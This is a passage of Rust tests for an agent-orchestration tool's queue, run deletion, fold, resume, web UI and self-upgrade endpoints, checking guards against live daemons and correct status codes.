12959 .expect("write run.json");
12960 }
12961
12962 #[test]
12967 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12968 let temp = TempDir::new().expect("tempdir");
12969 let runs = temp.path().join("runs");
12970 std::fs::create_dir_all(&runs).expect("create runs dir");
12971 let mut state = RunState::new(
12972 PathBuf::from("/repo/magi"),
12973 "main".to_owned(),
12974 "0123456789abcdef".to_owned(),
12975 "task".to_owned(),
12976 Config::default(),
12977 );
12978 state.id = "20260902-100000-c0de".to_owned();
12979 write_state(&runs, &state);
12980
12981 let rev_idle = runs_revision(&runs);
12982 std::thread::sleep(Duration::from_millis(10));
12983 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12984 write_state(&runs, &state);
12985 let rev_started = runs_revision(&runs);
12986 assert_ne!(
12987 rev_idle, rev_started,
12988 "a seat starting must move the revision"
12989 );
12990
12991 std::thread::sleep(Duration::from_millis(10));
12992 state.seat_finished("judge-1");
12993 write_state(&runs, &state);
12994 let rev_finished = runs_revision(&runs);
12995 assert_ne!(
12996 rev_started, rev_finished,
12997 "and clearing it again must move the revision a second time"
12998 );
12999 }
13000
13001 #[tokio::test]
13002 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13003 let fx = Fixture::start().await;
13008 let q = fx.queue();
13009
13010 let mut t = Task::new(
13011 "Task".to_owned(),
13012 "Instruction".to_owned(),
13013 PathBuf::from("/repo"),
13014 Source::Human,
13015 );
13016 t.block(
13017 vec!["20260101-000000-dead".to_owned()],
13018 Some("waiting on Task 1".to_owned()),
13019 );
13020 t.answers.push(crate::queue::AnsweredQuestion {
13021 question: "Which backend?".to_owned(),
13022 answer: "SQLite".to_owned(),
13023 });
13024 q.put(&mut t).expect("put t");
13025
13026 let res = fx.get("/api/queue").await;
13027 assert_eq!(res.status, 200);
13028 let list = res.json();
13029 let view = list
13030 .as_array()
13031 .expect("array")
13032 .iter()
13033 .find(|v| v["id"] == t.id)
13034 .expect("task in list");
13035 assert_eq!(view["status_str"], "blocked");
13036 assert_eq!(
13037 view["blocked_by"],
13038 serde_json::json!(["20260101-000000-dead"])
13039 );
13040 assert_eq!(view["block_reason"], "waiting on Task 1");
13041 assert_eq!(view["answers"][0]["question"], "Which backend?");
13042 assert_eq!(view["answers"][0]["answer"], "SQLite");
13043
13044 let res = fx
13048 .post(&format!("/api/queue/{}/hold", t.short()), None)
13049 .await;
13050 assert_eq!(res.status, 200);
13051 let held = res.json();
13052 assert_eq!(held["status_str"], "held");
13053 assert_eq!(held["blocked_by"], serde_json::json!([]));
13054 assert!(held["block_reason"].is_null());
13055 assert_eq!(held["answers"][0]["answer"], "SQLite");
13056 }
13057
13058 #[tokio::test]
13059 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13060 let fx = Fixture::start().await;
13061 let q = fx.queue();
13062 let mk = |title: &str| {
13063 Task::new(
13064 title.to_owned(),
13065 "Instruction".to_owned(),
13066 PathBuf::from("/repo"),
13067 Source::Human,
13068 )
13069 };
13070 let mut root = mk("root");
13071 root.hold_manual(Some("waiting".to_owned()));
13072 q.put(&mut root).unwrap();
13073 let mut mid = mk("mid");
13074 mid.block(vec![root.id.clone()], None);
13075 q.put(&mut mid).unwrap();
13076 let mut leaf = mk("leaf");
13077 leaf.block(vec![mid.id.clone()], None);
13078 q.put(&mut leaf).unwrap();
13079
13080 let list = fx.get("/api/queue").await.json();
13081 let find = |id: &str| {
13082 list.as_array()
13083 .unwrap()
13084 .iter()
13085 .find(|v| v["id"] == id)
13086 .unwrap()
13087 .clone()
13088 };
13089 let leaf_view = find(&leaf.id);
13090 assert_eq!(
13091 leaf_view["waits_on"],
13092 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13093 );
13094 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13095 assert_eq!(
13096 find(&mid.id)["waits_on"],
13097 serde_json::json!([format!("{} (held)", root.short())])
13098 );
13099 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13100 }
13101
13102 #[tokio::test]
13103 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13104 let fx = Fixture::start().await;
13105 let q = fx.queue();
13106
13107 let mut t1 = Task::new(
13109 "Task 1".to_owned(),
13110 "Instruction 1".to_owned(),
13111 PathBuf::from("/repo"),
13112 Source::Human,
13113 );
13114 let run_id = "20260901-000000-r111";
13115 t1.runs.push(run_id.to_owned());
13116 write_run(&fx.runs(), run_id, RunStatus::Merged);
13117 q.put(&mut t1).expect("put t1");
13118
13119 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13121 assert_eq!(res.status, 204);
13122 assert!(res.body.is_empty(), "204 No Content has no body");
13123 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13124 assert!(
13125 fx.runs().join(run_id).exists(),
13126 "run directory must not be deleted when its task is deleted"
13127 );
13128
13129 let mut t2 = Task::new(
13131 "Task 2".to_owned(),
13132 "Instruction 2".to_owned(),
13133 PathBuf::from("/repo"),
13134 Source::Human,
13135 );
13136 t2.status = TaskStatus::Running;
13137 q.put(&mut t2).expect("put t2");
13138 let mut beat = crate::daemon::Status::new();
13139 beat.current = vec![crate::daemon::Current {
13140 task: t2.id.clone(),
13141 run: "20260901-000000-r222".to_owned(),
13142 }];
13143 beat.updated_at = jiff::Timestamp::now();
13144 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13145 .expect("publish a heartbeat");
13146 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13147 assert_eq!(res.status, 409);
13148 assert!(
13149 res.json()["error"]
13150 .as_str()
13151 .unwrap()
13152 .contains("live daemon")
13153 );
13154 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13155
13156 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13162 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13163 .expect("leave a stale heartbeat");
13164 let mut t3 = Task::new(
13165 "Task 3".to_owned(),
13166 "Instruction 3".to_owned(),
13167 PathBuf::from("/repo"),
13168 Source::Human,
13169 );
13170 t3.status = TaskStatus::Running;
13171 q.put(&mut t3).expect("put t3");
13172 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13173 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13174 assert_eq!(res.status, 204);
13175 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13176 assert!(
13177 q.claim(&t3.id).is_ok(),
13178 "the stale lock went with it, so the id is claimable again"
13179 );
13180
13181 let res = fx.delete("/api/queue/nonexistent").await;
13183 assert_eq!(res.status, 404);
13184 }
13185
13186 #[tokio::test]
13187 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13188 let fx = Fixture::start().await;
13189 let runs = fx.runs();
13190
13191 let run_id = "20260901-000000-fold";
13193 let mut state = RunState::new(
13194 PathBuf::from("/repo"),
13195 "main".to_owned(),
13196 "abc".to_owned(),
13197 "instruction".to_owned(),
13198 Config::default(),
13199 );
13200 state.id = run_id.to_owned();
13201 state.status = RunStatus::Merged;
13202 state.candidates.push(crate::run::Candidate {
13203 index: 0,
13204 label: 'A',
13205 agent: "a".to_owned(),
13206 branch: "b".to_owned(),
13207 worktree: PathBuf::from("/w"),
13208 summary: String::new(),
13209 stat: String::new(),
13210 files: 1,
13211 commits: 1,
13212 empty: false,
13213 failed: None,
13214 verified_noop: None,
13215 duration_ms: 0,
13216 folded: true,
13217 });
13218 let dir = runs.join(run_id);
13219 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13220 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13221 .expect("write artifact");
13222 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13223 .expect("write run.json");
13224
13225 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13227 assert_eq!(res.status, 204);
13228 assert!(res.body.is_empty(), "204 has no body");
13229 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13230
13231 let run_running = "20260901-000000-rung";
13236 write_run(&runs, run_running, RunStatus::Prep);
13237 let mut beat = crate::daemon::Status::new();
13238 beat.current = vec![crate::daemon::Current {
13239 task: "20260901-000000-task".to_owned(),
13240 run: run_running.to_owned(),
13241 }];
13242 beat.updated_at = jiff::Timestamp::now();
13243 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13244 .expect("publish a heartbeat");
13245 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13246 assert_eq!(res.status, 409);
13247 assert!(
13248 res.json()["error"]
13249 .as_str()
13250 .unwrap()
13251 .contains("live daemon"),
13252 "the refusal must say who is holding it"
13253 );
13254 assert!(
13255 runs.join(run_running).exists(),
13256 "a run in flight keeps its directory"
13257 );
13258
13259 let run_unfolded = "20260901-000000-unfd";
13261 let mut state2 = RunState::new(
13262 PathBuf::from("/repo"),
13263 "main".to_owned(),
13264 "abc".to_owned(),
13265 "instruction".to_owned(),
13266 Config::default(),
13267 );
13268 state2.id = run_unfolded.to_owned();
13269 state2.status = RunStatus::Ready;
13270 state2.candidates.push(crate::run::Candidate {
13271 index: 0,
13272 label: 'A',
13273 agent: "a".to_owned(),
13274 branch: "b".to_owned(),
13275 worktree: PathBuf::from("/w"),
13276 summary: String::new(),
13277 stat: String::new(),
13278 files: 1,
13279 commits: 1,
13280 empty: false,
13281 failed: None,
13282 verified_noop: None,
13283 duration_ms: 0,
13284 folded: false,
13285 });
13286 let dir2 = runs.join(run_unfolded);
13287 std::fs::create_dir_all(&dir2).expect("create dir2");
13288 std::fs::write(
13289 dir2.join("run.json"),
13290 serde_json::to_string(&state2).unwrap(),
13291 )
13292 .expect("write run.json");
13293
13294 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13295 assert_eq!(res.status, 409);
13296 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13297 assert!(dir2.exists(), "unfolded run directory is kept");
13298
13299 let res = fx.delete("/api/runs/nonexistent").await;
13301 assert_eq!(res.status, 404);
13302 }
13303
13304 #[test]
13313 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13314 let start = APP_JS
13315 .find("function renderStats() {")
13316 .expect("renderStats");
13317 let end = start
13318 + APP_JS[start..]
13319 .find("function statsTile(")
13320 .expect("the next top-level function");
13321 let body = &APP_JS[start..end];
13322
13323 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13324 let gate_end = gate_start
13325 + body[gate_start..]
13326 .find("}\n renderStatsQueue")
13327 .expect("the gate's own closing brace, right before the unconditional call");
13328 let gated = &body[gate_start..gate_end];
13329
13330 assert_eq!(
13331 body.matches("renderStatsQueue(").count(),
13332 1,
13333 "renderStats must call renderStatsQueue exactly once: {body}"
13334 );
13335 assert!(
13336 !gated.contains("renderStatsQueue"),
13337 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13338 run-derived panels on an empty run history - the queue panel has to render \
13339 regardless: {gated}"
13340 );
13341 }
13342
13343 #[test]
13344 fn web_ui_delete_contract_in_front_end() {
13345 assert!(APP_JS.contains("deleteRun:"));
13347 assert!(APP_JS.contains("deleteTask:"));
13348
13349 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13351 ..APP_JS.find("function renderRuns").unwrap()];
13352 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13353
13354 assert!(APP_JS.contains("renderRunDelete"));
13356 assert!(APP_JS.contains("runDeleteReason"));
13357 assert!(APP_JS.contains("magi fold"));
13358 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13359
13360 assert!(APP_JS.contains("cancel.focus"));
13362 assert!(APP_JS.contains("armedRunDelete"));
13363 assert!(APP_JS.contains("renderTaskDeleteBox"));
13364 assert!(APP_JS.contains("armed${cap(key)}"));
13365
13366 assert!(APP_JS.contains("disabled: status === \"running\""));
13368 }
13369
13370 #[test]
13390 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13391 let build = APP_JS
13392 .find("function createRunCard")
13393 .expect("createRunCard exists");
13394 let update = APP_JS
13395 .find("function updateRunCard")
13396 .expect("updateRunCard exists");
13397 let end = APP_JS
13398 .find("function renderRuns")
13399 .expect("renderRuns exists");
13400
13401 let builder = &APP_JS[build..update];
13403 let open = builder.find("refs = {").expect("createRunCard sets refs");
13404 let literal = &builder[open + "refs = {".len()..];
13405 let close = literal.find('}').expect("the refs literal is closed");
13406 let published: HashSet<&str> = literal[..close]
13407 .split(',')
13408 .filter_map(|entry| entry.split(':').next())
13410 .map(str::trim)
13411 .filter(|name| !name.is_empty())
13412 .collect();
13413 assert!(
13414 published.len() > 5,
13415 "the refs literal did not parse into names: {published:?}"
13416 );
13417
13418 let mut used: Vec<&str> = Vec::new();
13421 let updaters = &APP_JS[update..end];
13422 for (at, _) in updaters.match_indices("r.") {
13423 let before = updaters[..at].chars().next_back();
13426 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13427 continue;
13428 }
13429 let rest = &updaters[at + 2..];
13430 let len = rest
13431 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13432 .unwrap_or(rest.len());
13433 if len > 0 {
13434 used.push(&rest[..len]);
13435 }
13436 }
13437 assert!(
13438 used.len() > 5,
13439 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13440 );
13441
13442 let missing: Vec<&str> = used
13443 .iter()
13444 .copied()
13445 .filter(|name| !published.contains(name))
13446 .collect();
13447 assert!(
13448 missing.is_empty(),
13449 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13450 never put in `refs` - every card will throw and the list will \
13451 render empty under a count line that says otherwise. Published: \
13452 {published:?}"
13453 );
13454 }
13455
13456 #[tokio::test]
13457 async fn folding_from_the_phone_reports_what_it_removed() {
13458 let fx = Fixture::start().await;
13459 let runs = fx.runs();
13460
13461 let id = "20260901-000000-fold";
13465 write_run(&runs, id, RunStatus::Stalled);
13466 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13467 assert_eq!(res.status, 200);
13468 assert_eq!(res.json()["removed_count"], 0);
13469 assert_eq!(res.json()["run"], id);
13470 assert!(
13471 runs.join(id).exists(),
13472 "a fold keeps the run's record; only the worktrees go"
13473 );
13474 }
13475
13476 #[tokio::test]
13477 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13478 let fx = Fixture::start().await;
13479 let runs = fx.runs();
13480 let wt = fx.home.path().join("wt").join("magi").join("dead");
13481 let id = "20260901-000000-dead";
13482 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13483 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13484 std::fs::create_dir_all(&wt).expect("worktree dir");
13485
13486 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13487 assert_eq!(res.status, 200, "{}", res.body);
13488 assert!(
13489 res.json()["removed_count"].as_u64().unwrap() > 0,
13490 "the worktree this build could not read a state for still went"
13491 );
13492 assert!(
13493 !runs.join(id).exists(),
13494 "an unreadable run has no candidate list to fold selectively, so \
13495 the whole record goes - same as `magi fold` on the CLI"
13496 );
13497 }
13498
13499 #[tokio::test]
13500 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13501 let fx = Fixture::start().await;
13502 let runs = fx.runs();
13503 let wt = fx.home.path().join("wt").join("magi").join("gone");
13504 let id = "20260901-000000-gone";
13505 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13506 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13507 std::fs::create_dir_all(&wt).expect("worktree dir");
13508
13509 let res = fx.delete(&format!("/api/runs/{id}")).await;
13510 assert_eq!(res.status, 204, "{}", res.body);
13511 assert!(!runs.join(id).exists(), "the broken record is gone");
13512 assert!(!wt.exists(), "its worktree is gone too");
13513 }
13514
13515 #[tokio::test]
13516 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13517 let fx = Fixture::start().await;
13518 let runs = fx.runs();
13519 let id = "20260901-000000-live";
13520 write_run(&runs, id, RunStatus::Implementing);
13521
13522 let mut beat = crate::daemon::Status::new();
13523 beat.current = vec![crate::daemon::Current {
13524 task: "20260901-000000-task".to_owned(),
13525 run: id.to_owned(),
13526 }];
13527 beat.updated_at = jiff::Timestamp::now();
13528 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13529 .expect("publish a heartbeat");
13530
13531 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13532 assert_eq!(res.status, 409);
13533 assert!(
13534 res.json()["error"]
13535 .as_str()
13536 .unwrap()
13537 .contains("live daemon"),
13538 "folding under a running agent would pull its worktree away"
13539 );
13540 }
13541
13542 #[tokio::test]
13543 async fn fold_merged_requires_a_pr_url() {
13544 let fx = Fixture::start().await;
13545 let runs = fx.runs();
13546 let id = "20260901-000000-nourl";
13547 write_run(&runs, id, RunStatus::Blocked);
13548
13549 let res = fx
13550 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13551 .await;
13552 assert_eq!(res.status, 400, "{}", res.body);
13553
13554 let blank = fx
13555 .post(
13556 &format!("/api/runs/{id}/fold-merged"),
13557 Some(r#"{"pr_url":" "}"#),
13558 )
13559 .await;
13560 assert_eq!(blank.status, 400, "{}", blank.body);
13561 }
13562
13563 #[tokio::test]
13564 async fn fold_merged_is_404_for_an_unknown_run() {
13565 let fx = Fixture::start().await;
13566 let res = fx
13567 .post(
13568 "/api/runs/nosuchrun/fold-merged",
13569 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13570 )
13571 .await;
13572 assert_eq!(res.status, 404, "{}", res.body);
13573 }
13574
13575 #[tokio::test]
13576 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13577 let fx = Fixture::start().await;
13578 let runs = fx.runs();
13579 let id = "20260901-000000-livemerge";
13580 write_run(&runs, id, RunStatus::Blocked);
13581
13582 let mut beat = crate::daemon::Status::new();
13583 beat.current = vec![crate::daemon::Current {
13584 task: "20260901-000000-task".to_owned(),
13585 run: id.to_owned(),
13586 }];
13587 beat.updated_at = jiff::Timestamp::now();
13588 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13589 .expect("publish a heartbeat");
13590
13591 let res = fx
13592 .post(
13593 &format!("/api/runs/{id}/fold-merged"),
13594 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13595 )
13596 .await;
13597 assert_eq!(res.status, 409, "{}", res.body);
13598 assert!(
13599 res.json()["error"]
13600 .as_str()
13601 .unwrap()
13602 .contains("live daemon"),
13603 "correcting a run's merge underneath a running agent would race \
13604 whatever it is doing to the same `status`/`merge` fields"
13605 );
13606 }
13607
13608 #[tokio::test]
13613 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13614 let fx = Fixture::start().await;
13615 let runs = fx.runs();
13616 let id = "20260901-000000-unconfirmed";
13617 write_run(&runs, id, RunStatus::Blocked);
13618
13619 let res = fx
13620 .post(
13621 &format!("/api/runs/{id}/fold-merged"),
13622 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13623 )
13624 .await;
13625 assert_eq!(res.status, 400, "{}", res.body);
13626 assert_eq!(
13627 read_run(&runs, id).unwrap().status,
13628 RunStatus::Blocked,
13629 "a pull request that could not be confirmed merged must leave \
13630 the run exactly where it was"
13631 );
13632 }
13633
13634 #[tokio::test]
13635 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13636 let fx = Fixture::start().await;
13637 let runs = fx.runs();
13638
13639 for (status, word) in [
13645 (RunStatus::Merged, "merged"),
13646 (RunStatus::Ready, "ready"),
13647 (RunStatus::Failed, "failed"),
13648 ] {
13649 let id = format!("20260901-000000-{}", &word[..4]);
13650 write_run(&runs, &id, status);
13651 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13652 assert_eq!(res.status, 409, "{word} must not be resumable");
13653 let err = res.json()["error"].as_str().unwrap().to_owned();
13654 assert!(err.contains(word), "the refusal names the status: {err}");
13655 }
13656
13657 let mid = "20260901-000000-midf";
13662 write_run(&runs, mid, RunStatus::Reviewing);
13663 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13664 assert_eq!(res.status, 202, "an interrupted run is resumable");
13665 }
13666
13667 #[tokio::test]
13668 async fn resume_is_refused_while_the_loop_is_running() {
13669 let fx = Fixture::start().await;
13670 let runs = fx.runs();
13671 let stalled = "20260901-000000-stal";
13672 write_run(&runs, stalled, RunStatus::Stalled);
13673
13674 let mut beat = crate::daemon::Status::new();
13678 beat.current = vec![crate::daemon::Current {
13679 task: "20260901-000000-task".to_owned(),
13680 run: "20260901-000000-othr".to_owned(),
13681 }];
13682 beat.updated_at = jiff::Timestamp::now();
13683 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13684 .expect("publish a heartbeat");
13685
13686 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13687 assert_eq!(res.status, 409);
13688 let err = res.json()["error"].as_str().unwrap().to_owned();
13689 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13690 assert!(err.contains("stop it first"), "{err}");
13691 }
13692
13693 #[test]
13694 fn a_run_cannot_be_resumed_twice_at_once() {
13695 let home = TempDir::new().expect("temp home");
13696 let ui = Ui::new(
13697 Queue::at(home.path().join("queue")),
13698 Questions::at(home.path().join("questions")),
13699 Talks::at(home.path().join("talks")),
13700 home.path().join("runs"),
13701 home.path().to_path_buf(),
13702 PathBuf::from("/repo"),
13703 )
13704 .with_worktrees_root(home.path().join("wt"));
13705 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13706 let again = ui.begin_resume("20260901-000000-once");
13707 assert!(again.is_err(), "a second tap must not start a second graph");
13708 drop(first);
13709 assert!(
13710 ui.begin_resume("20260901-000000-once").is_ok(),
13711 "and the claim is released when the attempt ends"
13712 );
13713 }
13714
13715 #[test]
13716 fn talk_thinking_tracks_only_its_held_turn_claim() {
13717 let home = TempDir::new().expect("temp home");
13718 let ui = Ui::new(
13719 Queue::at(home.path().join("queue")),
13720 Questions::at(home.path().join("questions")),
13721 Talks::at(home.path().join("talks")),
13722 home.path().join("runs"),
13723 home.path().to_path_buf(),
13724 PathBuf::from("/repo"),
13725 )
13726 .with_worktrees_root(home.path().join("wt"));
13727 let id = "20260901-000000-once";
13728
13729 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13730 let turn = ui.begin_talk_turn(id).expect("claim turn");
13731 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13732 assert!(
13733 !ui.is_thinking("20260901-000000-other"),
13734 "one talk's turn does not make another talk busy"
13735 );
13736 drop(turn);
13737 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13738 }
13739
13740 #[tokio::test]
13741 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13742 let fx = Fixture::start().await;
13743 let mut beat = crate::daemon::Status::new();
13747 beat.pid = 4321;
13748 beat.updated_at = jiff::Timestamp::now();
13749 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13750 .expect("publish a heartbeat");
13751
13752 let res = fx.post("/api/upgrade", None).await;
13753 assert_eq!(res.status, 409);
13754 let err = res.json()["error"].as_str().unwrap().to_owned();
13755 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13756 assert!(err.contains("old one against the same queue"), "{err}");
13757 }
13758
13759 #[test]
13766 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13767 assert!(!should_spawn_recheck(&crate::config::Update {
13768 mode: UpdateMode::Off,
13769 interval: None,
13770 }));
13771
13772 unsafe {
13775 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13776 }
13777 let killed = should_spawn_recheck(&crate::config::Update {
13778 mode: UpdateMode::Notify,
13779 interval: None,
13780 });
13781 unsafe {
13782 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13783 }
13784 assert!(
13785 !killed,
13786 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13787 one-time startup check"
13788 );
13789
13790 assert!(should_spawn_recheck(&crate::config::Update {
13791 mode: UpdateMode::Notify,
13792 interval: None,
13793 }));
13794 }
13795
13796 #[test]
13802 fn recheck_poll_period_tracks_a_short_configured_interval() {
13803 let short = crate::config::Update {
13804 mode: UpdateMode::Notify,
13805 interval: Some("1m".to_owned()),
13806 };
13807 let period = recheck_poll_period(&short);
13808 assert!(
13809 period <= Duration::from_secs(30),
13810 "a one-minute interval must wake the task far sooner than the \
13811 default ceiling, or the deck would not notice within the \
13812 interval the operator configured: got {period:?}"
13813 );
13814
13815 let default = crate::config::Update {
13816 mode: UpdateMode::Notify,
13817 interval: None,
13818 };
13819 assert_eq!(
13820 recheck_poll_period(&default),
13821 UPDATE_RECHECK_POLL_MAX,
13822 "the default day-long interval should poll at the (capped) \
13823 ceiling rather than needlessly often"
13824 );
13825 }
13826
13827 #[test]
13835 fn recheck_skips_the_network_before_the_interval_elapses() {
13836 let dir = TempDir::new().expect("temp dir");
13837 let path = dir.path().join("state.json");
13838 let state = kaishin::UpdateCheckState {
13839 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13840 last_known_latest: None,
13841 last_known_url: None,
13842 };
13843 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13844
13845 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13846 assert!(
13847 !update_recheck_due(&checker, None),
13848 "a check made moments ago must not be repeated before the \
13849 configured interval elapses"
13850 );
13851 }
13852
13853 #[test]
13859 fn recheck_defers_to_an_upgrade_already_in_flight() {
13860 let dir = TempDir::new().expect("temp dir");
13861 let path = dir.path().join("state.json");
13862 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13863 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13864
13865 assert!(
13866 !update_recheck_due(&checker, Some(&progress)),
13867 "a recheck must not run while an upgrade this deck started is \
13868 still moving"
13869 );
13870 }
13871
13872 #[tokio::test]
13873 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13874 unsafe {
13886 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13887 }
13888 let fx = Fixture::start().await;
13889 let res = fx.post("/api/upgrade", None).await;
13890 unsafe {
13891 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13892 }
13893 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13894 let body = res.json();
13895 assert!(body["to"].is_null(), "there was no release to move to");
13896 assert!(body["parked"].is_null(), "and nothing was parked");
13897 assert!(
13898 body["detail"]
13899 .as_str()
13900 .unwrap()
13901 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13902 "{body:?}"
13903 );
13904 }
13905
13906 #[tokio::test]
13907 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13908 let repo = TempDir::new().expect("repo dir");
13924 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13925 .expect("write magi.toml");
13926 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13927
13928 let res = fx.post("/api/upgrade", None).await;
13934 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13935 let body = res.json();
13936 assert!(body["to"].is_null(), "there was no release to move to");
13937 assert!(body["parked"].is_null(), "and nothing was parked");
13938 assert!(
13939 body["detail"]
13940 .as_str()
13941 .unwrap()
13942 .contains("nothing restarted"),
13943 "{body:?}"
13944 );
13945 }
13946
13947 #[tokio::test]
13948 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13949 let repo = TempDir::new().expect("repo dir");
13954 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13955 .expect("write magi.toml");
13956 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13957
13958 let health = fx.get("/api/health").await.json();
13959 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13960 assert_eq!(
13961 health["update"]["available"], false,
13962 "checking is off, which reads as \"unknown\", not \"none\""
13963 );
13964 assert!(health["update"]["to"].is_null());
13965 assert!(
13966 health["upgrade"].is_null(),
13967 "nothing has ever asked this deck to upgrade"
13968 );
13969 }
13970
13971 #[tokio::test]
13972 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13973 let fx = Fixture::start().await;
13974 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13975
13976 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13977 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13978 progress.advance(crate::updater::Stage::Parking);
13979 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13980
13981 let health = fx.get("/api/health").await.json();
13982 assert_eq!(health["upgrade"]["stage"], "parking");
13983 assert_eq!(health["upgrade"]["from"], "0.5.1");
13984 assert_eq!(health["upgrade"]["to"], "0.5.2");
13985 let waiting_on = health["upgrade"]["waiting_on"]
13986 .as_str()
13987 .expect("waiting_on is set while parking a known run");
13988 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13989 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13990 }
13991
13992 #[tokio::test]
13993 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13994 let fx = Fixture::start().await;
13995 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13996 progress.advance(crate::updater::Stage::Done);
13997 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13998
13999 let health = fx.get("/api/health").await.json();
14000 assert_eq!(health["upgrade"]["stage"], "done");
14001 assert!(
14002 health["upgrade"]["waiting_on"].is_null(),
14003 "nothing to wait on once it is done"
14004 );
14005 }
14006
14007 #[tokio::test]
